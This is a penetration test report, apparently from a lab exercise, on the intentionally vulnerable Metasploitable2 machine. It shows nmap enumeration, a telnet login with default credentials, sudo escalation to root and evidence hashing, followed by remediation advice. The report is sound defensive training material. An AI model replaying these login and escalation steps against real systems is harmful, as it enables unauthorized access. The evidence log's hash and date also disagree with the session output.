

Penetration Testing Report

Target: Metasploitable2

IP Address: 192.168.56.100

1. Executive Summary (Non-Technical)

A security assessment was conducted on the target system to identify potential vulnerabilities. During testing, critical security weaknesses were discovered that allowed an attacker to gain full control of the system. The system exposed insecure remote access services and used weak default credentials. These issues enabled unauthorized access and complete system compromise. Immediate remediation is recommended to reduce the risk of data loss, service disruption, or misuse of the system.

2. Scope of Testing

- **Target System:** Metasploitable2
- **Target IP:** 192.168.56.100
- **Testing Type:** Internal penetration test
- **Testing Methodology:** PTES-aligned approach (Reconnaissance, Exploitation, Post-Exploitation, Reporting)

```
Session Actions Edit View Help
(kali@kali)-[~]
$ ping -c 3 192.168.56.100

PING 192.168.56.100 (192.168.56.100) 56(84) bytes of data:
64 bytes from 192.168.56.100: icmp_seq=1 ttl=64 time=457 ms
64 bytes from 192.168.56.100: icmp_seq=2 ttl=64 time=1.18 ms
64 bytes from 192.168.56.100: icmp_seq=3 ttl=64 time=10.5 ms

— 192.168.56.100 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2478ms
rtt min/avg/max/mdev = 1.178/156.110/456.636/212.538 ms

(kali@kali)-[~]
$ nmap -Pn -sS -sV -sC -p- 192.168.56.100 -oN metasploitable_enum.nmap

Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-18 10:30 EST
Stats: 0:05:03 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 100.00% done; ETC: 10:35 (0:00:00 remaining)
Stats: 0:05:57 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.95% done; ETC: 10:36 (0:00:00 remaining)
Stats: 0:05:58 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.95% done; ETC: 10:36 (0:00:00 remaining)
Nmap scan report for 192.168.56.100
Host is up (0.0020s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.56.102
| Logged in as ftp
```

3. Methodology Used

The following steps were followed during the assessment:

1. Network connectivity verification
 2. Service enumeration using Nmap
 3. Manual exploitation of exposed services
 4. Privilege escalation testing
 5. Evidence collection and hashing
 6. Documentation and reporting
-

4. Technical Findings

Finding ID: F-001

Title: Remote Root Access via Telnet and Sudo Misconfiguration

Severity: Critical

CVSS Score: 9.8

Description

The target system exposed the Telnet service, which allowed remote access using default credentials. Once logged in, the user account had unrestricted sudo privileges, allowing escalation to root without any restrictions.

Exploitation Steps

1. Connected to the target using Telnet
2. Logged in using default credentials (msfadmin : msfadmin)
3. Verified user access
4. Escalated privileges using sudo
5. Gained root-level access

Proof of Exploitation

Commands executed on the target system:

```
telnet 192.168.56.100
login: msfadmin
password: msfadmin
sudo su
whoami
```

Result: Root access obtained on the target system.

```
(kali㉿kali)-[~]
$ telnet -l msfadmin 192.168.56.100

Trying 192.168.56.100...
Connected to 192.168.56.100.
Escape character is '^]'.
Password:
Last login: Sun Jan 18 09:44:01 EST 2026 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$ hostname
metasploitable
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$ hostname
metasploitable
msfadmin@metasploitable:~$ sudo -l
[sudo] password for msfadmin:
User msfadmin may run the following commands on this host:
(ALL) ALL
msfadmin@metasploitable:~$ sudo su
root@metasploitable:/home/msfadmin#
root@metasploitable:/home/msfadmin# whoami
root
```

5. Post-Exploitation Evidence

System Information

```
hostname: metasploitable
OS: Linux 2.6.24-16-server
IP Address: 192.168.56.100
```

Evidence Hashing (Chain of Custody)

```
sha256sum /etc/passwd
af23ffe0bc5479a70a17e799fa699f9e593f2151b7e1ba597987523c
```

Evidence Log



Item	Description	Collector	Date	Hash
/etc/passwd	User account database	VAPT Analyst	18-01-2022	af23ffe0bc5479a70a17e799fa699f9e593f2151b7e1ba597987523c

```

root@metasploitable:/home/msfadmin# hostname
metasploitable
root@metasploitable:/home/msfadmin# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:/home/msfadmin# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:9a:9c:95
          inet addr:192.168.56.100  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe9a:9c95/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:136777 errors:0 dropped:0 overruns:0 frame:0
          TX packets:135955 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:8906817 (8.4 MB)  TX bytes:8047498 (7.6 MB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:64207 errors:0 dropped:0 overruns:0 frame:0
          TX packets:64207 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:78831689 (75.1 MB)  TX bytes:78831689 (75.1 MB)

root@metasploitable:/home/msfadmin# sha256sum /etc/passwd
af23ffe0bc5479a70a17e799fa699f9e593f2151b7e1ba597987523c7c733d42 /etc/passwd
root@metasploitable:/home/msfadmin#

```

6. Impact Assessment

If exploited in a real environment, this vulnerability could allow attackers to:

- Take full control of the system
- Steal or modify sensitive data
- Disrupt services
- Use the system for further attacks

The risk to confidentiality, integrity, and availability is **critical**.

7. Remediation Recommendations

The following actions are strongly recommended:

1. Disable the Telnet service
 2. Enforce strong, unique passwords
 3. Remove default credentials
 4. Restrict sudo access to required commands only
 5. Use SSH with key-based authentication
 6. Apply system hardening and regular patching
-

8. Conclusion

The assessment successfully demonstrated a full attack path from initial access to root-level compromise. The vulnerabilities identified are severe but easily preventable through basic security best practices. Implementing the recommended mitigations will significantly reduce the attack surface and improve the overall security posture of the system.



CYART

inquiry@cyart.io

www.cyart.io
